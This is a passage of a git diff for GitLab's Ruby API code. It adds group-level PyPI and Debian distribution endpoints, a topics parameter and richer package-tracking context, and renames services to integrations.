finder_params[:id_after] = sanitize_id_param(params[:id_after]) if params[:id_after]
finder_params[:id_before] = sanitize_id_param(params[:id_before]) if params[:id_before]
- finder_params[:tag] = params[:topic] if params[:topic].present?
finder_params
end
diff --git a/lib/api/helpers/label_helpers.rb b/lib/api/helpers/label_helpers.rb
index 796b8928243..da0ee8f207e 100644
--- a/lib/api/helpers/label_helpers.rb
+++ b/lib/api/helpers/label_helpers.rb
@@ -5,34 +5,27 @@ module API
module LabelHelpers
extend Grape::API::Helpers
- params :optional_label_params do
- optional :description, type: String, desc: 'The description of the label'
- optional :remove_on_close, type: Boolean, desc: 'Whether the label should be removed from an issue when the issue is closed'
- end
-
params :label_create_params do
requires :name, type: String, desc: 'The name of the label to be created'
requires :color, type: String, desc: "The color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the allowed CSS color names"
-
- use :optional_label_params
+ optional :description, type: String, desc: 'The description of label to be created'
end
params :label_update_params do
optional :new_name, type: String, desc: 'The new name of the label'
optional :color, type: String, desc: "The new color of the label given in 6-digit hex notation with leading '#' sign (e.g. #FFAABB) or one of the allowed CSS color names"
-
- use :optional_label_params
+ optional :description, type: String, desc: 'The new description of label'
end
params :project_label_update_params do
use :label_update_params
optional :priority, type: Integer, desc: 'The priority of the label', allow_blank: true
- at_least_one_of :new_name, :color, :description, :priority, :remove_on_close
+ at_least_one_of :new_name, :color, :description, :priority
end
params :group_label_update_params do
use :label_update_params
- at_least_one_of :new_name, :color, :description, :remove_on_close
+ at_least_one_of :new_name, :color, :description
end
def find_label(parent, id_or_title, params = { include_ancestor_groups: true })
diff --git a/lib/api/helpers/packages/basic_auth_helpers.rb b/lib/api/helpers/packages/basic_auth_helpers.rb
index c32ce199dd6..6c381d85cd8 100644
--- a/lib/api/helpers/packages/basic_auth_helpers.rb
+++ b/lib/api/helpers/packages/basic_auth_helpers.rb
@@ -22,6 +22,14 @@ module API
unauthorized_user_project || not_found!
end
+ def unauthorized_user_group
+ @unauthorized_user_group ||= find_group(params[:id])
+ end
+
+ def unauthorized_user_group!
+ unauthorized_user_group || not_found!
+ end
+
def authorized_user_project
@authorized_user_project ||= authorized_project_find!
end
diff --git a/lib/api/helpers/packages/conan/api_helpers.rb b/lib/api/helpers/packages/conan/api_helpers.rb
index b18f52b5be6..4b6dac39348 100644
--- a/lib/api/helpers/packages/conan/api_helpers.rb
+++ b/lib/api/helpers/packages/conan/api_helpers.rb
@@ -155,7 +155,7 @@ module API
conan_package_reference: params[:conan_package_reference]
).execute!
- track_package_event('pull_package', :conan, category: 'API::ConanPackages') if params[:file_name] == ::Packages::Conan::FileMetadatum::PACKAGE_BINARY
+ track_package_event('pull_package', :conan, category: 'API::ConanPackages', user: current_user, project: project, namespace: project.namespace) if params[:file_name] == ::Packages::Conan::FileMetadatum::PACKAGE_BINARY
present_carrierwave_file!(package_file.file)
end
@@ -170,7 +170,7 @@ module API
def track_push_package_event
if params[:file_name] == ::Packages::Conan::FileMetadatum::PACKAGE_BINARY && params[:file].size > 0 # rubocop: disable Style/ZeroLengthPredicate
- track_package_event('push_package', :conan, category: 'API::ConanPackages')
+ track_package_event('push_package', :conan, category: 'API::ConanPackages', user: current_user, project: project, namespace: project.namespace)
end
end
diff --git a/lib/api/helpers/projects_helpers.rb b/lib/api/helpers/projects_helpers.rb
index d9c0b4f67c8..69a83043617 100644
--- a/lib/api/helpers/projects_helpers.rb
+++ b/lib/api/helpers/projects_helpers.rb
@@ -16,6 +16,7 @@ module API
optional :build_coverage_regex, type: String, desc: 'Test coverage parsing'
optional :ci_config_path, type: String, desc: 'The path to CI config file. Defaults to `.gitlab-ci.yml`'
optional :service_desk_enabled, type: Boolean, desc: 'Disable or enable the service desk'
+ optional :keep_latest_artifact, type: Boolean, desc: 'Indicates if the latest artifact should be kept for this project.'
# TODO: remove in API v5, replaced by *_access_level
optional :issues_enabled, type: Boolean, desc: 'Flag indication if the issue tracker is enabled'
@@ -51,7 +52,8 @@ module API
optional :only_allow_merge_if_pipeline_succeeds, type: Boolean, desc: 'Only allow to merge if builds succeed'
optional :allow_merge_on_skipped_pipeline, type: Boolean, desc: 'Allow to merge if pipeline is skipped'
optional :only_allow_merge_if_all_discussions_are_resolved, type: Boolean, desc: 'Only allow to merge if all discussions are resolved'
- optional :tag_list, type: Array[String], coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce, desc: 'The list of tags for a project'
+ optional :tag_list, type: Array[String], coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce, desc: 'Deprecated: Use :topics instead'
+ optional :topics, type: Array[String], coerce_with: ::API::Validations::Types::CommaSeparatedToArray.coerce, desc: 'The list of topics for a project'
# TODO: remove rubocop disable - https://gitlab.com/gitlab-org/gitlab/issues/14960
optional :avatar, type: File, desc: 'Avatar image for project' # rubocop:disable Scalability/FileUploads
optional :printing_merge_request_link_enabled, type: Boolean, desc: 'Show link to create/view merge request when pushing from the command line'
@@ -146,6 +148,7 @@ module API
:shared_runners_enabled,
:snippets_access_level,
:tag_list,
+ :topics,
:visibility,
:wiki_access_level,
:avatar,
@@ -154,6 +157,7 @@ module API
:compliance_framework_setting,
:packages_enabled,
:service_desk_enabled,
+ :keep_latest_artifact,
# TODO: remove in API v5, replaced by *_access_level
:issues_enabled,
diff --git a/lib/api/helpers/runner.rb b/lib/api/helpers/runner.rb
index 6f25cf507bc..9ec9b5e1e35 100644
--- a/lib/api/helpers/runner.rb
+++ b/lib/api/helpers/runner.rb
@@ -25,6 +25,7 @@ module API
return get_runner_ip unless params['info'].present?
attributes_for_keys(%w(name version revision platform architecture), params['info'])
+ .merge(get_runner_config_from_request)
.merge(get_runner_ip)
end
@@ -33,8 +34,15 @@ module API
end
def current_runner
+ token = params[:token]
+
+ if token
+ ::Gitlab::Database::LoadBalancing::RackMiddleware
+ .stick_or_unstick(env, :runner, token)
+ end
+
strong_memoize(:current_runner) do
- ::Ci::Runner.find_by_token(params[:token].to_s)
+ ::Ci::Runner.find_by_token(token.to_s)
end
end
@@ -64,8 +72,15 @@ module API
end
def current_job
+ id = params[:id]
+
+ if id
+ ::Gitlab::Database::LoadBalancing::RackMiddleware
+ .stick_or_unstick(env, :build, id)
+ end
+
strong_memoize(:current_job) do
- ::Ci::Build.find_by_id(params[:id])
+ ::Ci::Build.find_by_id(id)
end
end
@@ -91,6 +106,12 @@ module API
def track_ci_minutes_usage!(_build, _runner)
# noop: overridden in EE
end
+
+ private
+
+ def get_runner_config_from_request
+ { config: attributes_for_keys(%w(gpus), params.dig('info', 'config')) }
+ end
end
end
end
diff --git a/lib/api/helpers/services_helpers.rb b/lib/api/helpers/services_helpers.rb
index d123db8e3df..ca13ea0789a 100644
--- a/lib/api/helpers/services_helpers.rb
+++ b/lib/api/helpers/services_helpers.rb
@@ -777,41 +777,41 @@ module API
::Integrations::Asana,
::Integrations::Assembla,
::Integrations::Bamboo,
+ ::Integrations::Bugzilla,
+ ::Integrations::Buildkite,
::Integrations::Campfire,
::Integrations::Confluence,
+ ::Integrations::CustomIssueTracker,
::Integrations::Datadog,
+ ::Integrations::Discord,
+ ::Integrations::DroneCi,
::Integrations::EmailsOnPush,
- ::BugzillaService,
- ::BuildkiteService,
- ::CustomIssueTrackerService,
- ::DiscordService,
- ::DroneCiService,
- ::EwmService,
- ::ExternalWikiService,
- ::FlowdockService,
- ::HangoutsChatService,
- ::IrkerService,
- ::JenkinsService,
- ::JiraService,
- ::MattermostSlashCommandsService,
- ::SlackSlashCommandsService,
- ::PackagistService,
- ::PipelinesEmailService,
- ::PivotaltrackerService,
- ::PrometheusService,
- ::PushoverService,
- ::RedmineService,
- ::YoutrackService,
- ::SlackService,
- ::MattermostService,
- ::MicrosoftTeamsService,
- ::TeamcityService
+ ::Integrations::Ewm,
+ ::Integrations::ExternalWiki,
+ ::Integrations::Flowdock,
+ ::Integrations::HangoutsChat,
+ ::Integrations::Irker,
+ ::Integrations::Jenkins,
+ ::Integrations::Jira,
+ ::Integrations::Mattermost,
+ ::Integrations::MattermostSlashCommands,
+ ::Integrations::MicrosoftTeams,
+ ::Integrations::Packagist,
+ ::Integrations::PipelinesEmail,
+ ::Integrations::Pivotaltracker,
+ ::Integrations::Pushover,
+ ::Integrations::Redmine,
+ ::Integrations::Slack,
+ ::Integrations::SlackSlashCommands,
+ ::Integrations::Teamcity,
+ ::Integrations::Youtrack,
+ ::PrometheusService
]
end
def self.development_service_classes
[
- ::MockCiService,
+ ::Integrations::MockCi,
::MockMonitoringService
]
end
diff --git a/lib/api/internal/base.rb b/lib/api/internal/base.rb
index e16149185c9..ee0ddccc8d4 100644
--- a/lib/api/internal/base.rb
+++ b/lib/api/internal/base.rb
@@ -10,8 +10,6 @@ module API
api_endpoint = env['api.endpoint']
feature_category = api_endpoint.options[:for].try(:feature_category_for_app, api_endpoint).to_s
- header[Gitlab::Metrics::RequestsRackMiddleware::FEATURE_CATEGORY_HEADER] = feature_category
-
Gitlab::ApplicationContext.push(
user: -> { actor&.user },
project: -> { project },
@@ -169,18 +167,15 @@ module API
end
#
- # Get a ssh key using the fingerprint
+ # Check whether an SSH key is known to GitLab
#
- # rubocop: disable CodeReuse/ActiveRecord
get '/authorized_keys', feature_category: :source_code_management do
- fingerprint = params.fetch(:fingerprint) do
- Gitlab::InsecureKeyFingerprint.new(params.fetch(:key)).fingerprint
- end
- key = Key.find_by(fingerprint: fingerprint)
+ fingerprint = Gitlab::InsecureKeyFingerprint.new(params.fetch(:key)).fingerprint
+
+ key = Key.find_by_fingerprint(fingerprint)
not_found!('Key') if key.nil?
present key, with: Entities::SSHKey
end
- # rubocop: enable CodeReuse/ActiveRecord
#
# Discover user by ssh key, user id or username
diff --git a/lib/api/invitations.rb b/lib/api/invitations.rb
index 0d562cc18f8..46d8c0c958d 100644
--- a/lib/api/invitations.rb
+++ b/lib/api/invitations.rb
@@ -23,6 +23,7 @@ module API
requires :email, types: [String, Array[String]], email_or_email_list: true, desc: 'The email address to invite, or multiple emails separated by comma'
requires :access_level, type: Integer, values: Gitlab::Access.all_values, desc: 'A valid access level (defaults: `30`, developer access level)'
optional :expires_at, type: DateTime, desc: 'Date string in the format YEAR-MONTH-DAY'
+ optional :invite_source, type: String, desc: 'Source that triggered the member creation process', default: 'invitations-api'
end
post ":id/invitations" do
params[:source] = find_source(source_type, params[:id])
diff --git a/lib/api/jobs.rb b/lib/api/jobs.rb
index cf65bfdfd0e..723a5b0fa3a 100644
--- a/lib/api/jobs.rb
+++ b/lib/api/jobs.rb
@@ -3,7 +3,6 @@
module API
class Jobs < ::API::Base
include PaginationParams
-
before { authenticate! }
resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
diff --git a/lib/api/lint.rb b/lib/api/lint.rb
index 945cdf3edb2..3580a7b5e24 100644
--- a/lib/api/lint.rb
+++ b/lib/api/lint.rb
@@ -11,7 +11,11 @@ module API
optional :include_merged_yaml, type: Boolean, desc: 'Whether or not to include merged CI config yaml in the response'
end
post '/lint' do
- unauthorized! if (Gitlab::CurrentSettings.signup_disabled? || Gitlab::CurrentSettings.signup_limited?) && current_user.nil?
+ if Feature.enabled?(:security_ci_lint_authorization)
+ unauthorized! if (Gitlab::CurrentSettings.signup_disabled? || Gitlab::CurrentSettings.signup_limited?) && current_user.nil?
+ else
+ unauthorized! if Gitlab::CurrentSettings.signup_disabled? && current_user.nil?
+ end
result = Gitlab::Ci::YamlProcessor.new(params[:content], user: current_user).execute
diff --git a/lib/api/maven_packages.rb b/lib/api/maven_packages.rb
index 22f7b07809b..9e5705abe88 100644
--- a/lib/api/maven_packages.rb
+++ b/lib/api/maven_packages.rb
@@ -24,8 +24,6 @@ module API
helpers do
def path_exists?(path)
- # return true when FF disabled so that processing the request is not stopped
- return true unless Feature.enabled?(:check_maven_path_first, default_enabled: :yaml)
return false if path.blank?
Packages::Maven::Metadatum.with_path(path)
@@ -132,7 +130,7 @@ module API
when 'sha1'
package_file.file_sha1
else
- track_package_event('pull_package', :maven) if jar_file?(format)
+ track_package_event('pull_package', :maven, project: project, namespace: project.namespace) if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
end
@@ -172,7 +170,7 @@ module API
when 'sha1'
package_file.file_sha1
else
- track_package_event('pull_package', :maven) if jar_file?(format)
+ track_package_event('pull_package', :maven, project: package.project, namespace: package.project.namespace) if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
@@ -210,7 +208,7 @@ module API
when 'sha1'
package_file.file_sha1
else
- track_package_event('pull_package', :maven) if jar_file?(format)
+ track_package_event('pull_package', :maven, project: user_project, namespace: user_project.namespace) if jar_file?(format)
present_carrierwave_file_with_head_support!(package_file.file)
end
@@ -266,7 +264,7 @@ module API
when 'md5'
''
else
- track_package_event('push_package', :maven) if jar_file?(format)
+ track_package_event('push_package', :maven, user: current_user, project: user_project, namespace: user_project.namespace) if jar_file?(format)
file_params = {
file: params[:file],
diff --git a/lib/api/members.rb b/lib/api/members.rb
index a1a733ea7ae..0956806da5b 100644
--- a/lib/api/members.rb
+++ b/lib/api/members.rb
@@ -93,6 +93,7 @@ module API
requires :access_level, type: Integer, desc: 'A valid access level (defaults: `30`, developer access level)'
requires :user_id, types: [Integer, String], desc: 'The user ID of the new member or multiple IDs separated by commas.'
optional :expires_at, type: DateTime, desc: 'Date string in the format YEAR-MONTH-DAY'
+ optional :invite_source, type: String, desc: 'Source that triggered the member creation process', default: 'members-api'
end
# rubocop: disable CodeReuse/ActiveRecord
post ":id/members" do
@@ -116,6 +117,7 @@ module API
not_allowed! # This currently can only be reached in EE
elsif member.valid? && member.persisted?
present_members(member)
+ Gitlab::Tracking.event(::Members::CreateService.name, 'create_member', label: params[:invite_source], property: 'existing_user', user: current_user)
else
render_validation_error!(member)
end
diff --git a/lib/api/merge_requests.rb b/lib/api/merge_requests.rb
index 931d2322c98..a9617482557 100644
--- a/lib/api/merge_requests.rb
+++ b/lib/api/merge_requests.rb
@@ -436,14 +436,11 @@ module API
mr_params = declared_params(include_missing: false)
mr_params[:force_remove_source_branch] = mr_params.delete(:remove_source_branch) if mr_params.has_key?(:remove_source_branch)
mr_params = convert_parameters_from_legacy_format(mr_params)
+ mr_params[:use_specialized_service] = true
- service = if mr_params.one? && (mr_params.keys & %i[assignee_id assignee_ids]).one?
- ::MergeRequests::UpdateAssigneesService
- else
- ::MergeRequests::UpdateService
- end
-
- merge_request = service.new(project: user_project, current_user: current_user, params: mr_params).execute(merge_request)
+ merge_request = ::MergeRequests::UpdateService
+ .new(project: user_project, current_user: current_user, params: mr_params)
+ .execute(merge_request)
handle_merge_request_errors!(merge_request)
diff --git a/lib/api/npm_project_packages.rb b/lib/api/npm_project_packages.rb
index 887084dc9ae..7ff4439ce04 100644
--- a/lib/api/npm_project_packages.rb
+++ b/lib/api/npm_project_packages.rb
@@ -32,7 +32,7 @@ module API
package_file = ::Packages::PackageFileFinder
.new(package, params[:file_name]).execute!
- track_package_event('pull_package', package, category: 'API::NpmPackages')
+ track_package_event('pull_package', package, category: 'API::NpmPackages', project: project, namespace: project.namespace)
present_carrierwave_file!(package_file.file)
end
@@ -48,7 +48,7 @@ module API
put ':package_name', requirements: ::API::Helpers::Packages::Npm::NPM_ENDPOINT_REQUIREMENTS do
authorize_create_package!(project)
- track_package_event('push_package', :npm, category: 'API::NpmPackages')
+ track_package_event('push_package', :npm, category: 'API::NpmPackages', project: project, user: current_user, namespace: project.namespace)
created_package = ::Packages::Npm::CreatePackageService
.new(project, current_user, params.merge(build: current_authenticated_job)).execute
diff --git a/lib/api/nuget_group_packages.rb b/lib/api/nuget_group_packages.rb
index a80de06d6b0..eb55e4cbf70 100644
--- a/lib/api/nuget_group_packages.rb
+++ b/lib/api/nuget_group_packages.rb
@@ -38,6 +38,10 @@ module API
def require_authenticated!
unauthorized! unless current_user
end
+
+ def snowplow_gitlab_standard_context
+ { namespace: find_authorized_group! }
+ end
end
params do
diff --git a/lib/api/nuget_project_packages.rb b/lib/api/nuget_project_packages.rb
index 73ecc140959..5bae08d4dae 100644
--- a/lib/api/nuget_project_packages.rb
+++ b/lib/api/nuget_project_packages.rb
@@ -36,6 +36,10 @@ module API
def project_or_group
authorized_user_project
end
+
+ def snowplow_gitlab_standard_context
+ { project: authorized_user_project, namespace: authorized_user_project.namespace }
+ end
end
params do
@@ -69,7 +73,7 @@ module API
package_file = ::Packages::CreatePackageFileService.new(package, file_params.merge(build: current_authenticated_job))
.execute
- track_package_event('push_package', :nuget, category: 'API::NugetPackages')
+ track_package_event('push_package', :nuget, category: 'API::NugetPackages', user: current_user, project: package.project, namespace: package.project.namespace)
::Packages::Nuget::ExtractionWorker.perform_async(package_file.id) # rubocop:disable CodeReuse/Worker
@@ -118,7 +122,7 @@ module API
not_found!('Package') unless package_file
- track_package_event('pull_package', :nuget, category: 'API::NugetPackages')
+ track_package_event('pull_package', :nuget, category: 'API::NugetPackages', project: package_file.project, namespace: package_file.project.namespace)
# nuget and dotnet don't support 302 Moved status codes, supports_direct_download has to be set to false
present_carrierwave_file!(package_file.file, supports_direct_download: false)
diff --git a/lib/api/project_container_repositories.rb b/lib/api/project_container_repositories.rb
index 2580f7adbc9..28cfa9e3ae0 100644
--- a/lib/api/project_container_repositories.rb
+++ b/lib/api/project_container_repositories.rb
@@ -31,7 +31,7 @@ module API
user: current_user, subject: user_project
).execute
- track_package_event('list_repositories', :container)
+ track_package_event('list_repositories', :container, user: current_user, project: user_project, namespace: user_project.namespace)
present paginate(repositories), with: Entities::ContainerRegistry::Repository, tags: params[:tags], tags_count: params[:tags_count]
end
@@ -46,7 +46,7 @@ module API
authorize_admin_container_image!
DeleteContainerRepositoryWorker.perform_async(current_user.id, repository.id) # rubocop:disable CodeReuse/Worker
- track_package_event('delete_repository', :container)
+ track_package_event('delete_repository', :container, user: current_user, project: user_project, namespace: user_project.namespace)
status :accepted
end
@@ -63,7 +63,7 @@ module API
authorize_read_container_image!
tags = Kaminari.paginate_array(repository.tags)
- track_package_event('list_tags', :container)
+ track_package_event('list_tags', :container, user: current_user, project: user_project, namespace: user_project.namespace)
present paginate(tags), with: Entities::ContainerRegistry::Tag
end
@@ -92,7 +92,7 @@ module API
declared_params.except(:repository_id).merge(container_expiration_policy: false))
# rubocop:enable CodeReuse/Worker
- track_package_event('delete_tag_bulk', :container)
+ track_package_event('delete_tag_bulk', :container, user: current_user, project: user_project, namespace: user_project.namespace)
status :accepted
end
@@ -128,7 +128,7 @@ module API
.execute(repository)
if result[:status] == :success
- track_package_event('delete_tag', :container)
+ track_package_event('delete_tag', :container, user: current_user, project: user_project, namespace: user_project.namespace)
status :ok
else
diff --git a/lib/api/project_debian_distributions.rb b/lib/api/project_debian_distributions.rb
new file mode 100644
index 00000000000..58edf51f4f7
--- /dev/null
+++ b/lib/api/project_debian_distributions.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module API
+ class ProjectDebianDistributions < ::API::Base
+ params do
+ requires :id, type: String, desc: 'The ID of a project'
+ end
+
+ resource :projects, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ rescue_from ArgumentError do |e|
+ render_api_error!(e.message, 400)
+ end
+
+ rescue_from ActiveRecord::RecordInvalid do |e|
+ render_api_error!(e.message, 400)
+ end
+
+ after_validation do
+ require_packages_enabled!
+
+ not_found! unless ::Feature.enabled?(:debian_packages, user_project)
+
+ authorize_read_package!
+ end
+
+ namespace ':id' do
+ helpers do
+ def project_or_group
+ user_project
+ end
+ end
+
+ include ::API::Concerns::Packages::DebianDistributionEndpoints
+ end
+ end
+ end
+end
diff --git a/lib/api/project_export.rb b/lib/api/project_export.rb
index 76b3dea723a..4041e130f9e 100644
--- a/lib/api/project_export.rb
+++ b/lib/api/project_export.rb
@@ -30,7 +30,11 @@ module API
check_rate_limit! :project_download_export, [current_user, user_project]
if user_project.export_file_exists?
- present_carrierwave_file!(user_project.export_file)
+ if user_project.export_archive_exists?
+ present_carrierwave_file!(user_project.export_file)
+ else
+ render_api_error!('The project export file is not available yet', 404)
+ end
else
render_api_error!('404 Not found or has expired', 404)
end
diff --git a/lib/api/project_packages.rb b/lib/api/project_packages.rb
index babc7b9dd58..276cbe50e42 100644
--- a/lib/api/project_packages.rb
+++ b/lib/api/project_packages.rb
@@ -41,7 +41,7 @@ module API
declared_params.slice(:order_by, :sort, :package_type, :package_name, :include_versionless, :status)
).execute
- present paginate(packages), with: ::API::Entities::Package, user: current_user
+ present paginate(packages), with: ::API::Entities::Package, user: current_user, namespace: user_project.root_ancestor
end
desc 'Get a single project package' do
@@ -55,7 +55,7 @@ module API
package = ::Packages::PackageFinder
.new(user_project, params[:package_id]).execute
- present package, with: ::API::Entities::Package, user: current_user
+ present package, with: ::API::Entities::Package, user: current_user, namespace: user_project.root_ancestor
end
desc 'Remove a package' do
diff --git a/lib/api/project_snippets.rb b/lib/api/project_snippets.rb
index 899984fe0ba..084492fd503 100644
--- a/lib/api/project_snippets.rb
+++ b/lib/api/project_snippets.rb
@@ -75,7 +75,7 @@ module API
snippet_params = process_create_params(declared_params(include_missing: false))
- service_response = ::Snippets::CreateService.new(user_project, current_user, snippet_params).execute
+ service_response = ::Snippets::CreateService.new(project: user_project, current_user: current_user, params: snippet_params).execute
snippet = service_response.payload[:snippet]
if service_response.success?
@@ -116,7 +116,7 @@ module API
snippet_params = process_update_params(declared_params(include_missing: false))
- service_response = ::Snippets::UpdateService.new(user_project, current_user, snippet_params).execute(snippet)
+ service_response = ::Snippets::UpdateService.new(project: user_project, current_user: current_user, params: snippet_params).execute(snippet)
snippet = service_response.payload[:snippet]
if service_response.success?
diff --git a/lib/api/project_templates.rb b/lib/api/project_templates.rb
index 5d6f67ccbae..acf9bfece65 100644
--- a/lib/api/project_templates.rb
+++ b/lib/api/project_templates.rb
@@ -26,7 +26,7 @@ module API
use :pagination
end
get ':id/templates/:type' do
- templates = TemplateFinder.all_template_names_array(user_project, params[:type])
+ templates = TemplateFinder.all_template_names(user_project, params[:type]).values.flatten
present paginate(::Kaminari.paginate_array(templates)), with: Entities::TemplatesList
end
diff --git a/lib/api/projects.rb b/lib/api/projects.rb
index 4e8786fbe1f..83c335a3248 100644
--- a/lib/api/projects.rb
+++ b/lib/api/projects.rb
@@ -61,7 +61,7 @@ module API
# Temporarily introduced for upload API: https://gitlab.com/gitlab-org/gitlab/-/issues/325788
def project_attachment_size(user_project)
return PROJECT_ATTACHMENT_SIZE_EXEMPT if exempt_from_global_attachment_size?(user_project)
- return user_project.max_attachment_size if Feature.enabled?(:enforce_max_attachment_size_upload_api, user_project)
+ return user_project.max_attachment_size if Feature.enabled?(:enforce_max_attachment_size_upload_api, user_project, default_enabled: :yaml)
PROJECT_ATTACHMENT_SIZE_EXEMPT
end
@@ -234,6 +234,7 @@ module API
params do
optional :name, type: String, desc: 'The name of the project'
optional :path, type: String, desc: 'The path of the repository'
+ optional :default_branch, type: String, desc: 'The default branch of the project'
at_least_one_of :name, :path
use :optional_create_project_params
use :create_params
@@ -660,6 +661,18 @@ module API
render_api_error!("Failed to transfer project #{user_project.errors.messages}", 400)
end
end
+
+ desc 'Show the storage information' do
+ success Entities::ProjectRepositoryStorage
+ end
+ params do
+ requires :id, type: String, desc: 'ID of a project'
+ end
+ get ':id/storage', feature_category: :projects do
+ authenticated_as_admin!
+
+ present user_project, with: Entities::ProjectRepositoryStorage, current_user: current_user
+ end
end
end
end
diff --git a/lib/api/pypi_packages.rb b/lib/api/pypi_packages.rb
index 73b2f658825..7c5f8bb4d99 100644
--- a/lib/api/pypi_packages.rb
+++ b/lib/api/pypi_packages.rb
@@ -28,6 +28,73 @@ module API
require_packages_enabled!
end
+ helpers do
+ params :package_download do
+ requires :file_identifier, type: String, desc: 'The PyPi package file identifier', file_path: true
+ requires :sha256, type: String, desc: 'The PyPi package sha256 check sum'
+ end
+
+ params :package_name do
+ requires :package_name, type: String, file_path: true, desc: 'The PyPi package name'
+ end
+ end
+
+ params do
+ requires :id, type: Integer, desc: 'The ID of a group'
+ end
+ resource :groups, requirements: API::NAMESPACE_OR_PROJECT_REQUIREMENTS do
+ after_validation do
+ unauthorized_user_group!
+ end
+
+ namespace ':id/-/packages/pypi' do
+ params do
+ use :package_download
+ end
+
+ route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
+ get 'files/:sha256/*file_identifier' do
+ group = unauthorized_user_group!
+
+ filename = "#{params[:file_identifier]}.#{params[:format]}"
+ package = Packages::Pypi::PackageFinder.new(current_user, group, { filename: filename, sha256: params[:sha256] }).execute
+ package_file = ::Packages::PackageFileFinder.new(package, filename, with_file_name_like: false).execute
+
+ track_package_event('pull_package', :pypi)
+
+ present_carrierwave_file!(package_file.file, supports_direct_download: true)
+ end
+
+ desc 'The PyPi Simple Endpoint' do
+ detail 'This feature was introduced in GitLab 12.10'
+ end
+
+ params do
+ use :package_name
+ end
+
+ # An Api entry point but returns an HTML file instead of JSON.
+ # PyPi simple API returns the package descriptor as a simple HTML file.
+ route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
+ get 'simple/*package_name', format: :txt do
+ group = find_authorized_group!
+ authorize_read_package!(group)
+
+ track_package_event('list_package', :pypi)
+
+ packages = Packages::Pypi::PackagesFinder.new(current_user, group, { package_name: params[:package_name] }).execute!
+ presenter = ::Packages::Pypi::PackagePresenter.new(packages, group)
+
+ # Adjusts grape output format
+ # to be HTML
+ content_type "text/html; charset=utf-8"
+ env['api.format'] = :binary
+
+ body presenter.body
+ end
+ end
+ end
+
params do
requires :id, type: Integer, desc: 'The ID of a project'
end
@@ -43,8 +110,7 @@ module API
end
params do
- requires :file_identifier, type: String, desc: 'The PyPi package file identifier', file_path: true
- requires :sha256, type: String, desc: 'The PyPi package sha256 check sum'
+ use :package_download
end
route_setting :authentication, deploy_token_allowed: true, basic_auth_personal_access_token: true, job_token_allowed: :basic_auth
@@ -55,7 +121,7 @@ module API
package = Packages::Pypi::PackageFinder.new(current_user, project, { filename: filename, sha256: params[:sha256] }).execute
package_file = ::Packages::PackageFileFinder.new(package, filename, with_file_name_like: false).execute
- track_package_event('pull_package', :pypi)
+ track_package_event('pull_package', :pypi, project: project, namespace: project.namespace)
present_carrierwave_file!(package_file.file, supports_direct_download: true)
end
@@ -65,7 +131,7 @@ module API
end
params do
- requires :package_name, type: String, file_path: true, desc: 'The PyPi package name'
+ use :package_name
end
# An Api entry point but returns an HTML file instead of JSON.
@@ -74,7 +140,7 @@ module API
get 'simple/*package_name', format: :txt do
authorize_read_package!(authorized_user_project)
- track_package_event('list_package', :pypi)
+ track_package_event('list_package', :pypi, project: authorized_user_project, namespace: authorized_user_project.namespace)
packages = Packages::Pypi::PackagesFinder.new(current_user, authorized_user_project, { package_name: params[:package_name] }).execute!
presenter = ::Packages::Pypi::PackagePresenter.new(packages, authorized_user_project)
@@ -105,7 +171,7 @@ module API
authorize_upload!(authorized_user_project)
bad_request!('File is too large') if authorized_user_project.actual_limits.exceeded?(:pypi_max_file_size, params[:content].size)
- track_package_event('push_package', :pypi)
+ track_package_event('push_package', :pypi, project: authorized_user_project, user: current_user, namespace: authorized_user_project.namespace)
::Packages::Pypi::CreatePackageService
.new(authorized_user_project, current_user, declared_params.merge(build: current_authenticated_job))
diff --git a/lib/api/rubygem_packages.rb b/lib/api/rubygem_packages.rb
index 1d17148e0df..d7f9c584c67 100644
--- a/lib/api/rubygem_packages.rb
+++ b/lib/api/rubygem_packages.rb
@@ -70,7 +70,7 @@ module API
user_project, params[:file_name]
).last!
- track_package_event('pull_package', :rubygems)
+ track_package_event('pull_package', :rubygems, project: user_project, namespace: user_project.namespace)
present_carrierwave_file!(package_file.file)
end
@@ -97,7 +97,7 @@ module API
authorize_upload!(user_project)
bad_request!('File is too large') if user_project.actual_limits.exceeded?(:rubygems_max_file_size, params[:file].size)
- track_package_event('push_package', :rubygems)
+ track_package_event('push_package', :rubygems, user: current_user, project: user_project, namespace: user_project.namespace)
package_file = nil
diff --git a/lib/api/settings.rb b/lib/api/settings.rb
index 372bc7b3d8f..b4f8320cb74 100644
--- a/lib/api/settings.rb
+++ b/lib/api/settings.rb
@@ -46,7 +46,7 @@ module API
optional :asset_proxy_allowlist, type: Array[String], coerce_with: Validations::Types::CommaSeparatedToArray.coerce, desc: 'Assets that match these domain(s) will NOT be proxied. Wildcards allowed. Your GitLab installation URL is automatically allowed.'
optional :container_registry_token_expire_delay, type: Integer, desc: 'Authorization token duration (minutes)'
optional :default_artifacts_expire_in, type: String, desc: "Set the default expiration time for each job's artifacts"
- optional :default_ci_config_path, type: String, desc: 'The instance default CI configuration path for new projects'
+ optional :default_ci_config_path, type: String, desc: 'The instance default CI/CD configuration file and path for new projects'
optional :default_project_creation, type: Integer, values: ::Gitlab::Access.project_creation_values, desc: 'Determine if developers can create projects in the group'
optional :default_branch_protection, type: Integer, values: ::Gitlab::Access.protection_values, desc: 'Determine if developers can push to master'
optional :default_group_visibility, type: String, values: Gitlab::VisibilityLevel.string_values, desc: 'The default group visibility'
diff --git a/lib/api/snippets.rb b/lib/api/snippets.rb
index 52b597fb788..b506192fe1c 100644
--- a/lib/api/snippets.rb
+++ b/lib/api/snippets.rb
@@ -84,7 +84,7 @@ module API
attrs = process_create_params(declared_params(include_missing: false))
- service_response = ::Snippets::CreateService.new(nil, current_user, attrs).execute
+ service_response = ::Snippets::CreateService.new(project: nil, current_user: current_user, params: attrs).execute
snippet = service_response.payload[:snippet]
if service_response.success?
@@ -126,7 +126,7 @@ module API
attrs = process_update_params(declared_params(include_missing: false))
- service_response = ::Snippets::UpdateService.new(nil, current_user, attrs).execute(snippet)
